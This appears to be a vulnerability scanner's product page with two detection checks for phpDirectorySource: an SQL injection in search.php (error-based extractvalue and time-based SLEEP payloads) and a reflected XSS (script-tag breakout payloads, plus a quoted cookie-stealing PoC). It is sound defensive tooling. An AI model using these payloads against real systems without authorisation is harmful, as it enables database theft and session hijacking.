phpDirectorySource — 2 vulnerability checks
noctis ships 2 vulnerability checks for phpDirectorySource, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
phpDirectorySource search.php st SQL Injection
| CVE | CVE-2009-4680 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/phpdirectorysource/CVE-2009-4680.yaml |
phpDirectorySource 1.x copies the st (search text) parameter of search.php unescaped into its SQL search query, allowing unauthenticated SQL injection: an attacker can read the whole database, administrator credentials included.
This check requests index.php under the web root, /pds and /directory and keeps the directories whose page names phpDirectorySource. There, it sends a site search whose st closes the quoted search string and adds a condition that makes the database fail with an XPATH error quoting the product of two random numbers; the vulnerability is confirmed when the page shows that computed product, which never appears in the request. When the page hides database errors, it compares a benign search with two searches whose st makes the database sleep for a long then a short random delay, and requires each reply to be slowed by its own delay. No table data is read and nothing is written.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/index.php - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/search.php?sa=site&sk=a&nl=11&st={{sc.err}} - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/search.php?sa=site&sk=a&nl=11&st={{sc.w}} - HTTP(S) request
GET {{dir}}/search.php?sa=site&sk=a&nl=11&st={{sc.w}} - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/search.php?sa=site&sk=a&nl=11&st={{sc.sl2}} - HTTP(S) request
GET {{dir}}/search.php?sa=site&sk=a&nl=11&st={{sc.sl1}} - Parses / computes the next value with a Rhai script
- Checks
hit_dirfor^/→ finding QoD 97: phpDirectorySource search.php st SQL Injection (CVE-2009-4680) - Checks
time_dirfor^/→ finding QoD 75: phpDirectorySource search.php st SQL Injection (CVE-2009-4680)
References:
Feed source — tests/vulnerabilities/phpdirectorysource/CVE-2009-4680.yaml
# phpDirectorySource 1.x — search.php 'st' SQL injection — CVE-2009-4680
#
# search.php copies its st (search text) parameter unescaped into a
# single-quoted string of its search query. Public PoC (EDB-9226):
# search.php?sa=site&sk=a&nl=11&st=XX' union select version()/*
# The product source is no longer publicly downloadable
# (phpdirectorysource.com is gone); the request shape follows the advisory.
#
# Detection, on an install whose index.php names phpDirectorySource (web root,
# /pds, /directory):
# 1. QoD 97 — st = <rand>' AND extractvalue(1,concat(0x7e,A*B)) AND 'a' LIKE 'a
# with random A and B. MySQL >= 5.1.5 / MariaDB constant-fold it and fail
# with "XPATH syntax error: '~<A*B>'" whether or not a row matches (checked
# on MariaDB 10.11, LIKE '%…%' and = contexts, empty and filled tables);
# the product never appears in the request, so only a database that ran
# our expression can print it. The payload stays valid SQL whatever
# surrounds the string (LIKE '%…%', = '…').
# 2. QoD 75 — when the page hides SQL errors (or MySQL 5.0, no
# EXTRACTVALUE): st = <rand>' AND (SELECT 0 FROM (SELECT SLEEP(n))nctq)=0
# AND 'a' LIKE 'a, for a long then a short random n, against a benign baseline
# search (sent twice, faster kept). The derived table makes the database
# sleep exactly once per occurrence whatever the number of rows (checked
# on MariaDB 10.11 with an empty table too); nothing is written. A search
# puts st in several columns' LIKE and runs it through a count and a list
# query (a reconstructed search.php — two columns, two queries — slept
# 4 × n), so the delays may be a multiple k (1..6) of n: both delays must
# sit in their own window for the same k and differ by k × 2 s - 0.5 s (a constant WAF tarpit stays
# clean).
#
# Better than the source NASL (2010/gb_php_directory_source_mult_vuln.nasl):
# it only checks the reflected XSS (CVE-2009-4681, its own feed here) and
# never proves this SQL injection; it also misses the /directory install path
# of the vendor demo.
#
# Source: OpenVAS/Greenbone NVT 2010/gb_php_directory_source_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.800738, GPL-2.0-only) — CVE list and paths.
uid: 303e44b2-c76d-4699-b25f-c082560327b7
name: "phpDirectorySource search.php st SQL Injection (CVE-2009-4680)"
description: |
phpDirectorySource 1.x copies the st (search text) parameter of search.php
unescaped into its SQL search query, allowing unauthenticated SQL injection:
an attacker can read the whole database, administrator credentials included.
This check requests index.php under the web root, /pds and /directory and
keeps the directories whose page names phpDirectorySource. There, it sends a
site search whose st closes the quoted search string and adds a condition
that makes the database fail with an XPATH error quoting the product of two
random numbers; the vulnerability is confirmed when the page shows that
computed product, which never appears in the request. When the page hides
database errors, it compares a benign search with two searches whose st makes
the database sleep for a long then a short random delay, and requires each
reply to be slowed by its own delay. No table data is read and nothing is
written.
cves: [CVE-2009-4680]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [phpdirectorysource, directory, sqli, error-based, time-based, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2009-4680"
- "https://www.exploit-db.com/exploits/9226"
# OpenVAS/Greenbone NASL 2010/gb_php_directory_source_mult_vuln.nasl (GPL-2.0-only)
steps:
# ── Random operands, delays and the encoded st values ─────────────────────
- id: gen-proof
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
let w = "nctq" + rand_int(100000, 999999);
let s1 = rand_int(2, 3);
let s2 = s1 + 2;
let pre = w + "%27%20AND%20";
let post = "%20AND%20%27a%27%20LIKE%20%27a";
#{ want: "~" + (a * b), expr: a + "*" + b, w: w, s1: s1, s2: s2,
err: pre + "extractvalue(1,concat(0x7e," + a + "*" + b + "))" + post,
sl1: pre + "(SELECT%200%20FROM%20(SELECT%20SLEEP(" + s1 + "))nctq)=0" + post,
sl2: pre + "(SELECT%200%20FROM%20(SELECT%20SLEEP(" + s2 + "))nctq)=0" + post }
store_as: sc
- id: init-hit
action: set_var
var_name: hit_dir
var_value: ""
- id: init-time-hit
action: set_var
var_name: time_dir
var_value: ""
# ── Per candidate install path (loop group) ───────────────────────────────
# Pre-initialise every stored result a script reads: a failed request leaves
# store_as unset and an undefined var would abort the whole test.
- id: init-landing
action: set_var
var_name: landing
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["", "/pds", "/directory"]
- id: init-err-r
action: set_var
var_name: err_r
var_value: {status: 0, body: ""}
- id: init-base1
action: set_var
var_name: base1
var_value: {status: 0, body: "", duration_ms: 0}
- id: init-base2
action: set_var
var_name: base2
var_value: {status: 0, body: "", duration_ms: 0}
- id: init-sl1
action: set_var
var_name: slr1
var_value: {status: 0, body: "", duration_ms: 0}
- id: init-sl2
action: set_var
var_name: slr2
var_value: {status: 0, body: "", duration_ms: 0}
- id: fetch-landing
action: http_request
method: GET
path: "{{dir}}/index.php"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'hit_dir == "" && time_dir == ""'
store_as: landing
- id: fingerprint
action: script
condition: 'hit_dir == "" && time_dir == ""'
code: |
let body = if type_of(landing.body) == "string" { landing.body } else { "" };
landing.status == 200 && egrep("(?i)php ?directory ?source", body) != ""
store_as: is_pds
# 1. Error-based proof: XPATH error quoting the computed product.
- id: error-probe
action: http_request
method: GET
path: "{{dir}}/search.php?sa=site&sk=a&nl=11&st={{sc.err}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: 'hit_dir == "" && time_dir == "" && is_pds == true'
store_as: err_r
- id: check-error
action: script
condition: 'hit_dir == "" && time_dir == "" && is_pds == true'
code: |
let body = if type_of(err_r.body) == "string" { err_r.body } else { "" };
let re = "XPATH syntax error: (?:'|�?39;|'|')?" + sc.want + "(?:[^0-9]|$)";
if egrep(re, body) != "" { if dir == "" { "/" } else { dir } } else { "" }
store_as: hit_dir
# 2. Time-based fallback (errors hidden): benign baseline twice, then a long
# and a short derived-table SLEEP.
- id: baseline-1
action: http_request
method: GET
path: "{{dir}}/search.php?sa=site&sk=a&nl=11&st={{sc.w}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 20
condition: 'hit_dir == "" && time_dir == "" && is_pds == true'
store_as: base1
- id: baseline-2
action: http_request
method: GET
path: "{{dir}}/search.php?sa=site&sk=a&nl=11&st={{sc.w}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 20
condition: 'hit_dir == "" && time_dir == "" && is_pds == true && base1.status == 200'
store_as: base2
- id: check-baseline
action: script
condition: 'hit_dir == "" && time_dir == "" && is_pds == true'
code: |
let d = if base1.duration_ms < base2.duration_ms { base1.duration_ms } else { base2.duration_ms };
#{ ok: base1.status == 200 && base2.status == 200 && d < 10000, d: d }
store_as: bl
- id: sleep-long
action: http_request
method: GET
path: "{{dir}}/search.php?sa=site&sk=a&nl=11&st={{sc.sl2}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 45
condition: 'hit_dir == "" && time_dir == "" && is_pds == true && bl.ok'
store_as: slr2
- id: sleep-short
action: http_request
method: GET
path: "{{dir}}/search.php?sa=site&sk=a&nl=11&st={{sc.sl1}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 45
condition: 'hit_dir == "" && time_dir == "" && is_pds == true && bl.ok && slr2.status == 200 && slr2.duration_ms >= bl.d + sc.s2 * 1000 - 1000'
store_as: slr1
# Same multiple k (1..6) of the requested delay on both replies, each in its
# own window (-1 s, +2.5 s) over the baseline, the longer one at least
# k × (long - short) - 0.5 s longer.
- id: check-timing
action: script
condition: 'hit_dir == "" && time_dir == "" && is_pds == true && bl.ok'
code: |
let d2 = slr2.duration_ms - bl.d;
let d1 = slr1.duration_ms - bl.d;
let k = (d2 + sc.s2 * 500) / (sc.s2 * 1000);
if k < 1 { k = 1; }
if k > 6 { k = 6; }
let w2 = d2 >= k * sc.s2 * 1000 - 1000 && d2 <= k * sc.s2 * 1000 + 2500;
let w1 = d1 >= k * sc.s1 * 1000 - 1000 && d1 <= k * sc.s1 * 1000 + 2500;
let ok = slr1.status == 200 && slr2.status == 200 && w1 && w2 && (d2 - d1) >= k * (sc.s2 - sc.s1) * 1000 - 500;
if ok { if dir == "" { "/" } else { dir } } else { "" }
store_as: time_dir
# ── Findings ──────────────────────────────────────────────────────────────
- id: report-error
action: match
source: hit_dir
pattern: "^/"
on_match:
finding:
title: "phpDirectorySource search.php st SQL Injection (CVE-2009-4680)"
description: "An unauthenticated site search on search.php whose st parameter closed the quoted search string and added extractvalue() of a multiplication of two random numbers returned the database's XPATH error quoting the computed product: st reaches the SQL query unescaped, so an attacker can read the whole database, administrator credentials included."
remediation: "No fixed release of phpDirectorySource is known: remove the application or restrict access to it. If you maintain the code, escape st with mysql_real_escape_string() (or use a prepared statement) before building the search query, and stop printing database errors."
confidence_delta: 0.67
qod: 97
evidence: "install dir {{hit_dir}}: search.php?sa=site&sk=a&nl=11&st={{sc.w}}' AND extractvalue(1,concat(0x7e,{{sc.expr}})) AND 'a' LIKE 'a returned the database error XPATH syntax error: '{{sc.want}}'"
stop: true
- id: report-timing
action: match
source: time_dir
pattern: "^/"
on_match:
finding:
title: "phpDirectorySource search.php st SQL Injection (CVE-2009-4680)"
description: "Unauthenticated site searches on search.php whose st parameter closed the quoted search string and added a SLEEP() in a derived table were each delayed by the requested time over a benign search: st reaches the SQL query unescaped, so an attacker can read the whole database, administrator credentials included."
remediation: "No fixed release of phpDirectorySource is known: remove the application or restrict access to it. If you maintain the code, escape st with mysql_real_escape_string() (or use a prepared statement) before building the search query."
confidence_delta: 0.50
qod: 75
evidence: "install dir {{time_dir}}: search.php st={{sc.w}}' AND (SELECT 0 FROM (SELECT SLEEP(n))nctq)=0 AND 'a' LIKE 'a — baseline {{bl.d}} ms, SLEEP({{sc.s1}}) {{slr1.duration_ms}} ms, SLEEP({{sc.s2}}) {{slr2.duration_ms}} ms"
stop: truephpDirectorySource search.php st Reflected XSS
| CVE | CVE-2009-4681 |
|---|---|
| Severity | medium · CVSS 4.3 |
| Category | xss — XSS |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/phpdirectorysource/CVE-2009-4681.yaml |
phpDirectorySource 1.x prints the st (search text) parameter of search.php back into the page without HTML escaping, allowing reflected cross-site scripting.
This check requests index.php under the web root, /pds and /directory and keeps the directories whose page names phpDirectorySource. There, it requests a site search with st="><script>alert(/marker/)</script>, where marker is random for each scan, then the same search without the leading double quote and angle bracket. The finding requires an HTTP 200 answer that contains either the first value verbatim, with its raw double quote (it runs whether printed as text or inside a double-quoted attribute), or the bare script element of the second request in the page text, outside any tag. A page that escapes the value, or prints it only inside an attribute value, is not reported. The searches change nothing on the server.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/index.php - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/search.php?sa=site&sk=a&nl=11&st=%22%3E%3Cscript%3Ealert%28%2F{{tok}}%2F%29%3… - HTTP(S) request
GET {{dir}}/search.php?sa=site&sk=a&nl=11&st=%3Cscript%3Ealert%28%2F{{tok}}%2F%29%3C%2Fsc… - Parses / computes the next value with a Rhai script
- Checks
xss_prooffor^(?:">)?<script>alert\(/noctis[0-9a-f]{12}/\)</script>$→ finding QoD 75: phpDirectorySource search.php st Reflected XSS (CVE-2009-4681)
References:
Feed source — tests/vulnerabilities/phpdirectorysource/CVE-2009-4681.yaml
# phpDirectorySource 1.x — search.php 'st' reflected XSS — CVE-2009-4681
#
# search.php prints its st (search text) parameter back unescaped, in the
# search box value="..." attribute. Public PoC (EDB-9226):
# search.php?sa=site&sk=a&nl=11&st="><script>alert(document.cookie);</script>
# The product source is no longer publicly downloadable
# (phpdirectorysource.com is gone); the request shape follows the advisory.
#
# On an install whose index.php names phpDirectorySource (web root, /pds,
# /directory), the feed sends
# 1. st="><script>alert(/<random>/)</script> (attribute breakout, the PoC)
# 2. st=<script>alert(/<random>/)</script> (bare element)
# and requires the first verbatim, raw double quote included, closing a
# double-quoted attribute or in a text node, or the second in a text node (no
# tag "<" between the previous ">" and the element). An escaping page, or one
# that prints the value only inside a single-quoted attribute, is not reported.
#
# Better than the source NASL (2010/gb_php_directory_source_mult_vuln.nasl):
# it greps a fixed lowercase string anywhere in a 200 reply (also matched when
# the page escapes the markup and prints only the text); this feed uses a
# random marker and requires the executable element itself, and also tries the
# /directory install path of the vendor demo.
#
# Source: OpenVAS/Greenbone NVT 2010/gb_php_directory_source_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.800738, GPL-2.0-only).
uid: 88b79b16-ddbd-4d00-b16f-4ca690290692
name: "phpDirectorySource search.php st Reflected XSS (CVE-2009-4681)"
description: |
phpDirectorySource 1.x prints the st (search text) parameter of search.php
back into the page without HTML escaping, allowing reflected cross-site
scripting.
This check requests index.php under the web root, /pds and /directory and
keeps the directories whose page names phpDirectorySource. There, it
requests a site search with st="><script>alert(/marker/)</script>, where
marker is random for each scan, then the same search without the leading
double quote and angle bracket. The finding requires an HTTP 200 answer that
contains either the first value verbatim, with its raw double quote (it runs
whether printed as text or inside a double-quoted attribute), or the bare
script element of the second request in the page text, outside any tag. A
page that escapes the value, or prints it only inside an attribute value, is
not reported. The searches change nothing on the server.
cves: [CVE-2009-4681]
cvss: 4.3
severity: medium
category: xss
confidence_base: 0.30
tags: [phpdirectorysource, directory, xss, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2009-4681"
- "https://www.exploit-db.com/exploits/9226"
# OpenVAS/Greenbone NASL 2010/gb_php_directory_source_mult_vuln.nasl (GPL-2.0-only)
steps:
# Random marker for this scan (letters and hex digits only).
- id: marker
action: script
code: |
"noctis" + oob_token.sub_string(0, 8) + oob_token.sub_string(9, 4)
store_as: tok
- id: init-proof
action: set_var
var_name: xss_proof
var_value: ""
# ── Loop group: every following step runs once per install dir.
- id: init-landing
action: set_var
var_name: landing
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["", "/pds", "/directory"]
- id: init-probe-r
action: set_var
var_name: probe_r
var_value: {status: 0, body: ""}
- id: init-probe2-r
action: set_var
var_name: probe2_r
var_value: {status: 0, body: ""}
- id: fetch-landing
action: http_request
method: GET
path: "{{dir}}/index.php"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'xss_proof == ""'
store_as: landing
- id: fingerprint
action: script
condition: 'xss_proof == ""'
code: |
let body = if type_of(landing.body) == "string" { landing.body } else { "" };
landing.status == 200 && egrep("(?i)php ?directory ?source", body) != ""
store_as: is_pds
# 1. Attribute breakout form: "><script>alert(/marker/)</script>
- id: probe
action: http_request
method: GET
path: "{{dir}}/search.php?sa=site&sk=a&nl=11&st=%22%3E%3Cscript%3Ealert%28%2F{{tok}}%2F%29%3C%2Fscript%3E"
port: "{{port}}"
condition: 'xss_proof == "" && is_pds == true'
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: probe_r
# 2. Bare element, for a page that escapes only the double quote but prints
# the value in a text node.
- id: probe2
action: http_request
method: GET
path: "{{dir}}/search.php?sa=site&sk=a&nl=11&st=%3Cscript%3Ealert%28%2F{{tok}}%2F%29%3C%2Fscript%3E"
port: "{{port}}"
condition: 'xss_proof == "" && is_pds == true'
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: probe2_r
# The executable reflection with this scan's marker — or "": probe 1
# verbatim with its raw quote, closing a double-quoted attribute (="…) or in
# a text node (a backslash before it, from PHP magic_quotes_gpc, is still a
# breakout; inside a single-quoted attribute it is not, so that context is
# not accepted), or probe 2 in a text node (only text, no tag, between the
# previous ">" and the element: an attribute value always has its tag's "<"
# there).
- id: reflection
action: script
condition: 'xss_proof == "" && is_pds == true'
code: |
let out = "";
let b1 = if probe_r.status == 200 && type_of(probe_r.body) == "string" { probe_r.body } else { "" };
let b2 = if probe2_r.status == 200 && type_of(probe2_r.body) == "string" { probe2_r.body } else { "" };
if ereg("(?:=\\s*\"\\\\?|>[^<>]*\\\\?)\"><script>alert\\(/" + tok + "/\\)</script>", b1) {
out = "\"><script>alert(/" + tok + "/)</script>";
} else if ereg(">[^<>]*<script>alert\\(/" + tok + "/\\)</script>", b2) {
out = "<script>alert(/" + tok + "/)</script>";
}
out
store_as: xss_proof
- id: report
action: match
source: xss_proof
pattern: '^(?:">)?<script>alert\(/noctis[0-9a-f]{12}/\)</script>$'
on_match:
finding:
title: "phpDirectorySource search.php st Reflected XSS (CVE-2009-4681)"
description: "A site search on search.php with an st value carrying a script element was answered with that element unescaped, either with the double quote that closes a quoted attribute or inside the page text, so the script element is added to the page. An attacker can send a visitor a link that runs script in the context of the directory site, for example to steal the administrator's session cookie."
remediation: "No fixed release of phpDirectorySource is known: remove the application or restrict access to it. If you maintain the code, HTML-escape st (htmlspecialchars($st, ENT_QUOTES)) everywhere search.php prints it."
confidence_delta: 0.55
qod: 75
evidence: "GET search.php?sa=site&sk=a&nl=11&st=<injected value> on a phpDirectorySource install returned HTTP 200 containing the injected element unescaped: {{xss_proof}}"
stop: true